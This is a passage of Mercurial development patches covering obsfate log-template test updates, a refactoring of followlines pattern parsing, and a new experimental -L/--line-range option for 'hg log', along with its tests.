+     summary:     ROOT
+  
 
 Test template with split + divergence with cycles
 =================================================
@@ -1939,6 +2186,80 @@
   |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
+  $ hg log -G -T "default" --hidden
+  o  changeset:   10:eceed8f98ffc
+  |  tag:         tip
+  |  parent:      8:b18bc8331526
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  instability: content-divergent
+  |  summary:     Add A,B,C
+  |
+  | o  changeset:   9:0b997eb7ceee
+  | |  parent:      5:dd800401bd8c
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  instability: content-divergent
+  | |  summary:     Add B only
+  | |
+  o |  changeset:   8:b18bc8331526
+  |/   parent:      5:dd800401bd8c
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    instability: content-divergent
+  |    summary:     Add only B
+  |
+  | x  changeset:   7:ba2ed02b0c9a
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsfate:     rewritten using rebase as 10:eceed8f98ffc
+  | |  summary:     Add A,B,C
+  | |
+  | x  changeset:   6:4a004186e638
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 8:b18bc8331526
+  |    obsfate:     rewritten using amend as 9:0b997eb7ceee
+  |    summary:     Add A,B,C
+  |
+  o  changeset:   5:dd800401bd8c
+  |  parent:      3:f897c6137566
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  instability: content-divergent
+  |  summary:     Add A,B,C
+  |
+  | @  changeset:   4:9bd10a0775e4
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a
+  |    summary:     Add A,B,C
+  |
+  o  changeset:   3:f897c6137566
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     C0
+  |
+  | x  changeset:   2:0dec01379d3b
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsfate:     rewritten as 3:f897c6137566
+  | |  obsfate:     rewritten as 1:471f378eab4c
+  | |  summary:     B0
+  | |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten as 2:0dec01379d3b
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test templates with pruned commits
 ==================================
 
@@ -2046,6 +2367,35 @@
   o  ea207398892e
   
 
+  $ hg log -G -T "default" --hidden
+  x  changeset:   3:65b757b745b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  obsfate:     pruned
+  |  summary:     A2
+  |
+  | x  changeset:   2:fdf9bde5129a
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     pruned
+  |    summary:     A1
+  |
+  | @  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
+  |    obsfate:     rewritten using amend as 3:65b757b745b9
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test templates with splitted and pruned commit
 ==============================================
 
@@ -2168,3 +2518,28 @@
   |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
+  $ hg log -G -T "default" --hidden
+  @  changeset:   3:0d0ef4bdf70e
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  obsfate:     pruned
+  |  summary:     A2
+  |
+  o  changeset:   2:617adc3a144c
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A1
+  |
+  | x  changeset:   1:471597cad322
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     split as 2:617adc3a144c, 3:0d0ef4bdf70e
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -949,6 +949,7 @@
   parent:      3:6f9641995072
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
+  obsfate:     pruned
   summary:     add obsolete_e
   
 
@@ -984,6 +985,7 @@
   [log.parent changeset.draft|parent:      3:6f9641995072]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.obsfate|obsfate:     pruned]
   [log.summary|summary:     add obsolete_e]
   
 
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1507123663 -7200
#      Wed Oct 04 15:27:43 2017 +0200
# Node ID 39b094e4ae2c9bc6af062712c486e0514277ecd8
# Parent  962f7df21a73f044d171fee9c237d0c5062ae317
revset: extract a parsefollowlinespattern helper function

We'll need the same logic in forthcoming changeset to handle --line-range
option in 'hg log' command.
The function lives in scmutil.py (rather than util.py) as it uses match and
pathutil modules.

diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -981,16 +981,9 @@
         rev = revs.last()
 
     pat = getstring(args['file'], _("followlines requires a pattern"))
-    if not matchmod.patkind(pat):
-        fname = pathutil.canonpath(repo.root, repo.getcwd(), pat)
-    else:
-        m = matchmod.match(repo.root, repo.getcwd(), [pat], ctx=repo[rev])
-        files = [f for f in repo[rev] if m(f)]
-        if len(files) != 1:
-            # i18n: "followlines" is a keyword
-            raise error.ParseError(_("followlines expects exactly one file"))
-        fname = files[0]
-
+    # i18n: "followlines" is a keyword
+    msg = _("followlines expects exactly one file")
+    fname = scmutil.parsefollowlinespattern(repo, rev, pat, msg)
     # i18n: "followlines" is a keyword
     lr = getrange(args['lines'][0], _("followlines expects a line range"))
     fromline, toline = [getinteger(a, _("line range bounds must be integers"))
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -567,6 +567,20 @@
     '''Return a matcher that will efficiently match exactly these files.'''
     return matchmod.exact(repo.root, repo.getcwd(), files, badfn=badfn)
 
+def parsefollowlinespattern(repo, rev, pat, msg):
+    """Return a file name from `pat` pattern suitable for usage in followlines
+    logic.
+    """
+    if not matchmod.patkind(pat):
+        return pathutil.canonpath(repo.root, repo.getcwd(), pat)
+    else:
+        ctx = repo[rev]
+        m = matchmod.match(repo.root, repo.getcwd(), [pat], ctx=ctx)
+        files = [f for f in ctx if m(f)]
+        if len(files) != 1:
+            raise error.ParseError(msg)
+        return files[0]
+
 def origpath(ui, repo, filepath):
     '''customize where .orig files are created
 
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1507231208 -7200
#      Thu Oct 05 21:20:08 2017 +0200
# Node ID 35c6a54ec1ff56123cbc0ae48cf1a280f0cf2feb
# Parent  39b094e4ae2c9bc6af062712c486e0514277ecd8
diff: also yield file context objects in patch.trydiff() (API)

And retrieve them in patch.diffhunks(). We'll use these in forthcoming
changesets to filter diff hunks by line range.

diff --git a/mercurial/hgweb/webutil.py b/mercurial/hgweb/webutil.py
--- a/mercurial/hgweb/webutil.py
+++ b/mercurial/hgweb/webutil.py
@@ -479,7 +479,7 @@
     parity = paritygen(web.stripecount)
 
     diffhunks = patch.diffhunks(repo, node1, node2, m, opts=diffopts)
-    for blockno, (header, hunks) in enumerate(diffhunks, 1):
+    for blockno, (fctx1, fctx2, header, hunks) in enumerate(diffhunks, 1):
         if style != 'raw':
             header = header[1:]
         lines = [h + '\n' for h in header]
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -2319,10 +2319,11 @@
 
     copy, if not empty, should contain mappings {dst@y: src@x} of copy
     information.'''
-    for hdr, hunks in diffhunks(repo, node1=node1, node2=node2, match=match,
-                                changes=changes, opts=opts,
-                                losedatafn=losedatafn, prefix=prefix,
-                                relroot=relroot, copy=copy):
+    for fctx1, fctx2, hdr, hunks in diffhunks(
+            repo, node1=node1, node2=node2,
+            match=match, changes=changes, opts=opts,
+            losedatafn=losedatafn, prefix=prefix, relroot=relroot, copy=copy,
+    ):
         text = ''.join(sum((list(hlines) for hrange, hlines in hunks), []))
         if hdr and (text or len(hdr) > 1):
             yield '\n'.join(hdr) + '\n'
@@ -2687,7 +2688,7 @@
                                             content2, date2,
                                             path1, path2, opts=opts)
             header.extend(uheaders)
-        yield header, hunks
+        yield fctx1, fctx2, header, hunks
 
 def diffstatsum(stats):
     maxfile, maxtotal, addtotal, removetotal, binary = 0, 0, 0, 0, False
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1507293917 -7200
#      Fri Oct 06 14:45:17 2017 +0200
# Node ID 890afefa72964184f6464cf57ad6e2c6be21a340
# Parent  35c6a54ec1ff56123cbc0ae48cf1a280f0cf2feb
diff: pass a diff hunks filter function from changeset_printer to patch.diff()

We add a 'hunksfilterfn' keyword argument in all functions of the call
stack from changeset_printer.show() to patch.diff(). This is a callable
that will be used to filter out hunks by line range and will be used in
the "-L/--line-range" option of "hg log" command introduced in the
following changesets.

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1494,7 +1494,7 @@
 
 def diffordiffstat(ui, repo, diffopts, node1, node2, match,
                    changes=None, stat=False, fp=None, prefix='',
-                   root='', listsubrepos=False):
+                   root='', listsubrepos=False, hunksfilterfn=None):
     '''show diff or diffstat.'''
     if fp is None:
         write = ui.write
@@ -1522,14 +1522,16 @@
         if not ui.plain():
             width = ui.termwidth()
         chunks = patch.diff(repo, node1, node2, match, changes, diffopts,
-                            prefix=prefix, relroot=relroot)
+                            prefix=prefix, relroot=relroot,
+                            hunksfilterfn=hunksfilterfn)
         for chunk, label in patch.diffstatui(util.iterlines(chunks),
                                              width=width):
             write(chunk, label=label)
     else:
         for chunk, label in patch.diffui(repo, node1, node2, match,
                                          changes, diffopts, prefix=prefix,
-                                         relroot=relroot):
+                                         relroot=relroot,
+                                         hunksfilterfn=hunksfilterfn):
             write(chunk, label=label)
 
     if listsubrepos:
@@ -1591,16 +1593,17 @@
         if self.footer:
             self.ui.write(self.footer)
 
-    def show(self, ctx, copies=None, matchfn=None, **props):
+    def show(self, ctx, copies=None, matchfn=None, hunksfilterfn=None,
+             **props):
         props = pycompat.byteskwargs(props)
         if self.buffered:
             self.ui.pushbuffer(labeled=True)
-            self._show(ctx, copies, matchfn, props)
+            self._show(ctx, copies, matchfn, hunksfilterfn, props)
             self.hunk[ctx.rev()] = self.ui.popbuffer()
         else:
-            self._show(ctx, copies, matchfn, props)
-
-    def _show(self, ctx, copies, matchfn, props):
+            self._show(ctx, copies, matchfn, hunksfilterfn, props)
+
+    def _show(self, ctx, copies, matchfn, hunksfilterfn, props):
         '''show a single changeset or file revision'''
         changenode = ctx.node()
         rev = ctx.rev()
@@ -1714,7 +1717,7 @@
                               label='log.summary')
         self.ui.write("\n")
 
-        self.showpatch(ctx, matchfn)
+        self.showpatch(ctx, matchfn, hunksfilterfn=hunksfilterfn)
 
     def _showobsfate(self, ctx):
         obsfate = templatekw.showobsfate(repo=self.repo, ctx=ctx, ui=self.ui)
@@ -1729,7 +1732,7 @@
         '''empty method used by extension as a hook point
         '''
 
-    def showpatch(self, ctx, matchfn):
+    def showpatch(self, ctx, matchfn, hunksfilterfn=None):
         if not matchfn:
             matchfn = self.matchfn
         if matchfn:
@@ -1740,12 +1743,14 @@
             prev = ctx.p1().node()
             if stat:
                 diffordiffstat(self.ui, self.repo, diffopts, prev, node,
-                               match=matchfn, stat=True)
+                               match=matchfn, stat=True,
+                               hunksfilterfn=hunksfilterfn)
             if diff:
                 if stat:
                     self.ui.write("\n")
                 diffordiffstat(self.ui, self.repo, diffopts, prev, node,
-                               match=matchfn, stat=False)
+                               match=matchfn, stat=False,
+                               hunksfilterfn=hunksfilterfn)
             self.ui.write("\n")
 
 class jsonchangeset(changeset_printer):
@@ -1762,7 +1767,7 @@
         else:
             self.ui.write("[]\n")
 
-    def _show(self, ctx, copies, matchfn, props):
+    def _show(self, ctx, copies, matchfn, hunksfilterfn, props):
         '''show a single changeset or file revision'''
         rev = ctx.rev()
         if rev is None:
@@ -1896,7 +1901,7 @@
             self.footer += templater.stringify(self.t(self._parts['docfooter']))
         return super(changeset_templater, self).close()
 
-    def _show(self, ctx, copies, matchfn, props):
+    def _show(self, ctx, copies, matchfn, hunksfilterfn, props):
         '''show a single changeset or file revision'''
         props = props.copy()
         props.update(templatekw.keywords)
@@ -1928,7 +1933,7 @@
         # write changeset metadata, then patch if requested
         key = self._parts[self._tref]
         self.ui.write(templater.stringify(self.t(key, **props)))
-        self.showpatch(ctx, matchfn)
+        self.showpatch(ctx, matchfn, hunksfilterfn=hunksfilterfn)
 
         if self._parts['footer']:
             if not self.footer:
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -2296,7 +2296,8 @@
     return mdiff.diffopts(**pycompat.strkwargs(buildopts))
 
 def diff(repo, node1=None, node2=None, match=None, changes=None,
-         opts=None, losedatafn=None, prefix='', relroot='', copy=None):
+         opts=None, losedatafn=None, prefix='', relroot='', copy=None,
+         hunksfilterfn=None):
     '''yields diff of changes to files between two nodes, or node and
     working directory.
 
@@ -2318,12 +2319,18 @@
     patterns that fall outside it will be ignored.
 
     copy, if not empty, should contain mappings {dst@y: src@x} of copy
-    information.'''
+    information.
+
+    hunksfilterfn, if not None, should be a function taking a filectx and
+    hunks generator that may yield filtered hunks.
+    '''
     for fctx1, fctx2, hdr, hunks in diffhunks(
             repo, node1=node1, node2=node2,
             match=match, changes=changes, opts=opts,
             losedatafn=losedatafn, prefix=prefix, relroot=relroot, copy=copy,
     ):
+        if hunksfilterfn is not None:
+            hunks = hunksfilterfn(fctx2, hunks)
         text = ''.join(sum((list(hlines) for hrange, hlines in hunks), []))
         if hdr and (text or len(hdr) > 1):
             yield '\n'.join(hdr) + '\n'
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1508267731 -7200
#      Tue Oct 17 21:15:31 2017 +0200
# Node ID 84c6b9384d6addd59f9d6d3bab6fda8a4201aecd
# Parent  890afefa72964184f6464cf57ad6e2c6be21a340
log: add -L/--line-range option to follow file history by line range

We add an experimental -L/--line-range option to 'hg log' taking file patterns
along with a line range using the (new) FILE,FROMLINE-TOLINE syntax where FILE
may be a pattern (matching exactly one file). The resulting history is similar
to what the "followlines" revset except that, if --patch is specified,
only diff hunks within specified line range are shown.

Basically, this brings the CLI on par with what currently only exists in hgweb
through line selection in "file" and "annotate" views resulting in a file log
with filtered patch to only display followed line range.

The option may be specified multiple times and can be combined with --rev and
regular file patterns to further restrict revisions. Usage of this option
requires --follow; revisions are shown in descending order and renames are
followed. Only the --graph option is currently not supported.

The UI is the result of a consensus from review feedback at:

  https://www.mercurial-scm.org/pipermail/mercurial-devel/2017-October/106749.html


The implementation spreads between commands.log() and cmdutil module.
In commands.log(), the main loop may now use a "hunksfilter" factory (similar
to "filematcher") that, for a given "rev", produces a filtering function
for diff hunks for a given file context object.
The logic to build revisions from -L/--line-range options lives in
cmdutil.getloglinerangerevs() which produces "revs", "filematcher" and
"hunksfilter" information. Revisions obtained by following files' line range
are filtered if they do not match the revset specified by --rev option. If
regular FILE arguments are passed along with -L options, both filematchers are
combined into a new matcher.

.. feature::

   Add an experimental -L/--line-range FILE,FROMLINE-TOLINE option to 'hg log'
   command to follow the history of files by line range. In combination with
   -p/--patch option, only diff hunks within specified line range will be
   displayed. Feedback, especially on UX aspects, is welcome.

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -26,12 +26,14 @@
     changelog,
     copies,
     crecord as crecordmod,
+    dagop,
     dirstateguard,
     encoding,
     error,
     formatter,
     graphmod,
     match as matchmod,
+    mdiff,
     obsolete,
     patch,
     pathutil,
@@ -2585,6 +2587,87 @@
 
     return revs, expr, filematcher
 
+def _parselinerangelogopt(repo, opts):
+    """Parse --line-range log option and return a list of tuples (filename,
+    (fromline, toline)).
+    """
+    linerangebyfname = []
+    for pat in opts.get('line_range', []):
+        try:
+            pat, linerange = pat.rsplit(',', 1)
+        except ValueError:
+            raise error.Abort(_('malformatted line-range pattern %s') % pat)
+        try:
+            fromline, toline = map(int, linerange.split('-'))
+        except ValueError:
+            raise error.Abort(_("invalid line range for %s") % pat)
+        msg = _("line range pattern '%s' must match exactly one file") % pat
+        fname = scmutil.parsefollowlinespattern(repo, None, pat, msg)
+        linerangebyfname.append(
+            (fname, util.processlinerange(fromline, toline)))
+    return linerangebyfname
+
+def getloglinerangerevs(repo, userrevs, opts):
+    """Return (revs, filematcher, hunksfilter).
+
+    "revs" are revisions obtained by processing "line-range" log options and
+    walking block ancestors of each specified file/line-range.
+
+    "filematcher(rev) -> match" is a factory function returning a match object
+    for a given revision for file patterns specified in --line-range option.
+    If neither --stat nor --patch options are passed, "filematcher" is None.
+
+    "hunksfilter(rev) -> filterfn(fctx, hunks)" is a factory function
+    returning a hunks filtering function.
+    If neither --stat nor --patch options are passed, "filterhunks" is None.
+    """
+    wctx = repo[None]
+
+    # Two-levels map of "rev -> file ctx -> [line range]".
+    linerangesbyrev = {}
+    for fname, (fromline, toline) in _parselinerangelogopt(repo, opts):
+        fctx = wctx.filectx(fname)
+        for fctx, linerange in dagop.blockancestors(fctx, fromline, toline):
+            rev = fctx.introrev()
+            if rev not in userrevs:
+                continue
+            linerangesbyrev.setdefault(
+                rev, {}).setdefault(
+                    fctx.path(), []).append(linerange)
+
+    filematcher = None
+    hunksfilter = None
+    if opts.get('patch') or opts.get('stat'):
+
+        def nofilterhunksfn(fctx, hunks):
+            return hunks
+
+        def hunksfilter(rev):
+            fctxlineranges = linerangesbyrev.get(rev)
+            if fctxlineranges is None:
+                return nofilterhunksfn
+
+            def filterfn(fctx, hunks):
+                lineranges = fctxlineranges.get(fctx.path())
+                if lineranges is not None:
+                    for hr, lines in hunks:
+                        if any(mdiff.hunkinrange(hr[2:], lr)
+                               for lr in lineranges):
+                            yield hr, lines
+                else:
+                    for hunk in hunks:
+                        yield hunk
+
+            return filterfn
+
+        def filematcher(rev):
+            files = list(linerangesbyrev.get(rev, []))
+            return scmutil.matchfiles(repo, files)
+
+    revs = sorted(linerangesbyrev, reverse=True)
+
+    return revs, filematcher, hunksfilter
+
 def _graphnodeformatter(ui, displayer):
     spec = ui.config('ui', 'graphnodetemplate')
     if not spec:
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -3234,6 +3234,9 @@
     ('k', 'keyword', [],
      _('do case-insensitive search for a given text'), _('TEXT')),
     ('r', 'rev', [], _('show the specified revision or revset'), _('REV')),
+    ('L', 'line-range', [],
+     _('follow line range of specified file (EXPERIMENTAL)'),
+     _('FILE,RANGE')),
     ('', 'removed', None, _('include revisions where files were removed')),
     ('m', 'only-merges', None, _('show only merges (DEPRECATED)')),
     ('u', 'user', [], _('revisions committed by user'), _('USER')),
@@ -3275,6 +3278,14 @@
     Paths in the DAG are represented with '|', '/' and so forth. ':' in place
     of a '|' indicates one or more revisions in a path are omitted.
 
+    .. container:: verbose
+
+       Use -L/--line-range FILE,M-N options to follow the history of lines
+       from M to N in FILE. With -p/--patch only diff hunks affecting
+       specified line range will be shown. This option requires --follow;
+       it can be specified multiple times. Currently, this option is not
+       compatible with --graph. This option is experimental.
+
     .. note::
 
        :hg:`log --patch` may generate unexpected diff output for merge
@@ -3290,6 +3301,14 @@
 
     .. container:: verbose
 
+       .. note::
+
+          The history resulting from -L/--line-range options depends on diff
+          options; for instance if white-spaces are ignored, respective changes
+          with only white-spaces in specified line range will not be listed.
+
+    .. container:: verbose
+
       Some examples:
 
       - changesets with full descriptions and file lists::
@@ -3336,6 +3355,15 @@
 
           hg log -r "last(tagged())::" --template "{desc|firstline}\\n"
 
+      - changesets touching lines 13 to 23 for file.c::
+
+          hg log -L file.c,13-23
+
+      - changesets touching lines 13 to 23 for file.c and lines 2 to 6 of
+        main.c with patch::
+
+          hg log -L file.c,13-23 -L main.c,2-6 -p
+
     See :hg:`help dates` for a list of formats valid for -d/--date.
 
     See :hg:`help revisions` for more about specifying and ordering
@@ -3350,14 +3378,38 @@
 
     """
     opts = pycompat.byteskwargs(opts)
+    linerange = opts.get('line_range')
+
+    if linerange and not opts.get('follow'):
+        raise error.Abort(_('--line-range requires --follow'))
+
     if opts.get('follow') and opts.get('rev'):
         opts['rev'] = [revsetlang.formatspec('reverse(::%lr)', opts.get('rev'))]
         del opts['follow']
 
     if opts.get('graph'):
+        if linerange:
+            raise error.Abort(_('graph not supported with line range patterns'))
         return cmdutil.graphlog(ui, repo, pats, opts)
 
     revs, expr, filematcher = cmdutil.getlogrevs(repo, pats, opts)
+    hunksfilter = None
+
+    if linerange:
+        revs, lrfilematcher, hunksfilter = cmdutil.getloglinerangerevs(
+            repo, revs, opts)
+
+        if filematcher is not None and lrfilematcher is not None:
+            basefilematcher = filematcher
+
+            def filematcher(rev):
+                files = (basefilematcher(rev).files()
+                         + lrfilematcher(rev).files())
+                return scmutil.matchfiles(repo, files)
+
+        elif filematcher is None:
+            filematcher = lrfilematcher
+
     limit = cmdutil.loglimit(opts)
     count = 0
 
@@ -3385,7 +3437,12 @@
             revmatchfn = filematcher(ctx.rev())
         else:
             revmatchfn = None
-        displayer.show(ctx, copies=copies, matchfn=revmatchfn)
+        if hunksfilter:
+            revhunksfilter = hunksfilter(rev)
+        else:
+            revhunksfilter = None
+        displayer.show(ctx, copies=copies, matchfn=revmatchfn,
+                       hunksfilterfn=revhunksfilter)
         if displayer.flush(ctx):
             count += 1
 
diff --git a/tests/test-completion.t b/tests/test-completion.t
--- a/tests/test-completion.t
+++ b/tests/test-completion.t
@@ -225,7 +225,7 @@
   export: output, switch-parent, rev, text, git, binary, nodates
   forget: include, exclude
   init: ssh, remotecmd, insecure
-  log: follow, follow-first, date, copies, keyword, rev, removed, only-merges, user, only-branch, branch, prune, patch, git, limit, no-merges, stat, graph, style, template, include, exclude
+  log: follow, follow-first, date, copies, keyword, rev, line-range, removed, only-merges, user, only-branch, branch, prune, patch, git, limit, no-merges, stat, graph, style, template, include, exclude
   merge: force, rev, preview, tool
   pull: update, force, rev, bookmark, branch, ssh, remotecmd, insecure
   push: force, rev, bookmark, branch, new-branch, pushvars, ssh, remotecmd, insecure
diff --git a/tests/test-log-linerange.t b/tests/test-log-linerange.t
new file mode 100644
--- /dev/null
+++ b/tests/test-log-linerange.t
@@ -0,0 +1,869 @@
+  $ cat >> $HGRCPATH << EOF
+  > [diff]
+  > git = true
+  > EOF
+
+  $ hg init
+  $ cat > foo << EOF
+  > 0
+  > 1
+  > 2
+  > 3
+  > 4
+  > EOF
+  $ hg ci -Am init
+  adding foo
+  $ cat > foo << EOF
+  > 0
+  > 0
+  > 0
+  > 0
+  > 1
+  > 2
+  > 3
+  > 4
+  > EOF
+  $ hg ci -m 'more 0'
+  $ sed 's/2/2+/' foo > foo.new
+  $ mv foo.new foo
+  $ cat > bar << EOF
+  > a
+  > b
+  > c
+  > d
+  > e
+  > EOF
+  $ hg add bar
+  $ hg ci -Am "2 -> 2+; added bar"
+  $ cat >> foo << EOF
+  > 5
+  > 6
+  > 7
+  > 8
+  > 9
+  > 10
+  > 11
+  > EOF
+  $ hg ci -m "to 11"
+
+Add some changes with two diff hunks
+
+  $ sed 's/^1$/ 1/' foo > foo.new
+  $ mv foo.new foo
+  $ sed 's/^11$/11+/' foo > foo.new
+  $ mv foo.new foo
+  $ hg ci -m '11 -> 11+; leading space before "1"'
+(make sure there are two hunks in "foo")
+  $ hg diff -c .
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  @@ -12,4 +12,4 @@
+   8
+   9
+   10
+  -11
+  +11+
+  $ sed 's/3/3+/' foo > foo.new
+  $ mv foo.new foo
+  $ sed 's/^11+$/11-/' foo > foo.new
+  $ mv foo.new foo
+  $ sed 's/a/a+/' bar > bar.new
+  $ mv bar.new bar
+  $ hg ci -m 'foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+'
+(make sure there are two hunks in "foo")
+  $ hg diff -c . foo
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  @@ -12,4 +12,4 @@
+   8
+   9
+   10
+  -11+
+  +11-
+
+  $ hg log -f -L foo,5-7 -p
+  changeset:   5:cfdf972b3971
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+With --template.
+
+  $ hg log -f -L foo,5-7 -T '{rev}:{node|short} {desc|firstline}\n'
+  5:cfdf972b3971 foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  4:eaec41c1a0c9 11 -> 11+; leading space before "1"
+  2:63a884426fd0 2 -> 2+; added bar
+  0:5ae1f82b9a00 init
+  $ hg log -f -L foo,5-7 -T json
+  [
+   {
+    "rev": 5,
+    "node": "cfdf972b3971a2a59638bf9583c0debbffee5404",
+    "branch": "default",
+    "phase": "draft",
+    "user": "test",
+    "date": [0, 0],
+    "desc": "foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+",
+    "bookmarks": [],
+    "tags": ["tip"],
+    "parents": ["eaec41c1a0c9ad0a5e999611d0149d171beffb8c"]
+   },
+   {
+    "rev": 4,
+    "node": "eaec41c1a0c9ad0a5e999611d0149d171beffb8c",
+    "branch": "default",
+    "phase": "draft",
+    "user": "test",
+    "date": [0, 0],
+    "desc": "11 -> 11+; leading space before \"1\"",
+    "bookmarks": [],
+    "tags": [],
+    "parents": ["730a61fbaecf426c17c2c66bc42d195b5d5b0ba8"]
+   },
+   {
+    "rev": 2,
+    "node": "63a884426fd0b277fcd55895bbb2f230434576eb",
+    "branch": "default",
+    "phase": "draft",
+    "user": "test",
+    "date": [0, 0],
+    "desc": "2 -> 2+; added bar",
+    "bookmarks": [],
+    "tags": [],
+    "parents": ["29a1e7c6b80024f63f310a2d71de979e9d2996d7"]
+   },
+   {
+    "rev": 0,
+    "node": "5ae1f82b9a000ff1e0967d0dac1c58b9d796e1b4",
+    "branch": "default",
+    "phase": "draft",
+    "user": "test",
+    "date": [0, 0],
+    "desc": "init",
+    "bookmarks": [],
+    "tags": [],
+    "parents": ["0000000000000000000000000000000000000000"]
+   }
+  ]
+
+With some white-space diff option, respective revisions are skipped.
+
+  $ hg log -f -L foo,5-7 -p --config diff.ignorews=true
+  changeset:   5:cfdf972b3971
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
